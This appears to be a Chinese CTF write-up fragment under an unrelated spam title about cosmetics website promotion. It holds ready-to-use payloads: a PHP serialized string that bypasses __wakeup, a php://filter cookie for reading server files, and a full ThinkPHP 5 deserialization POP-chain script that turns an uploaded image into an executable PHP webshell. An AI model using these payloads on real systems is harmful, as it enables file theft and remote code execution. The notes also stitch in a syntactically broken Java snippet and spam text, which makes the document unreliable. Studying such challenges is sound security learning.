化妝品網(wǎng)站制作需要湖南百度推廣
1
?unserialize3
當(dāng)序列化字符串中屬性個(gè)數(shù)大于實(shí)際屬性個(gè)數(shù)時(shí),不會(huì)執(zhí)行反序列化
外部如果是unserialize()會(huì)調(diào)用wakeup()方法,輸出“bad request”——構(gòu)造url繞過(guò)wakeup
類(lèi)型:public class,直接構(gòu)造:
O:4:"xctf":1:{s:4:"flag";s:3:"111";} 改為:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
2
“找出攻擊者的IP”
http協(xié)議中,
可疑:POST了hacker.php,追蹤hacker.php,url解碼,確認(rèn)是開(kāi)了個(gè)后門(mén)
3
進(jìn)入
就是base64解碼
4
?只出現(xiàn)一次的數(shù)字
class Solution{public int singleNumber(int[t] nums){int result = 0;for (int num : nums)}{result =resut ^num;}return result;}
}
5
fileinclude
PHP: php:// - Manual
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
upload3
注冊(cè)登錄,對(duì)頭像嘗試文件上傳,但無(wú)法執(zhí)行
進(jìn)行目錄掃描獲取源碼,TP5框架
profile.php
cookie有個(gè)反序列化,審?fù)甏a以后可以i使用(覆蓋掉filename)
if:前兩個(gè)判斷不用改就可以繞過(guò),進(jìn)ext_check()判斷
然后賦值ext
接下來(lái)把 filename_tmp 移動(dòng)到 filename時(shí),就可以把 png 移動(dòng)為 php 文件了。
_get()與_call():作用上傳圖像訪問(wèn),被訪問(wèn)不存在時(shí)調(diào)用 upload_img()
register.php:
registed 賦值為 false,checker 賦值為我們的?$profile
從而調(diào)用其中的 index 方法,再跳到 upload_img() 了。
<?phpnamespace app\web\controller;
error_reporting(0);
class Profile
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}}class Register
{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}}$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.png";
$profile->filename = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.php";$register = new Register();
$register->registed = false;
$register->checker = $profile;echo urlencode(base64_encode(serialize($register)));
ThinkPHP5.1反序列化漏洞利用-CSDN博客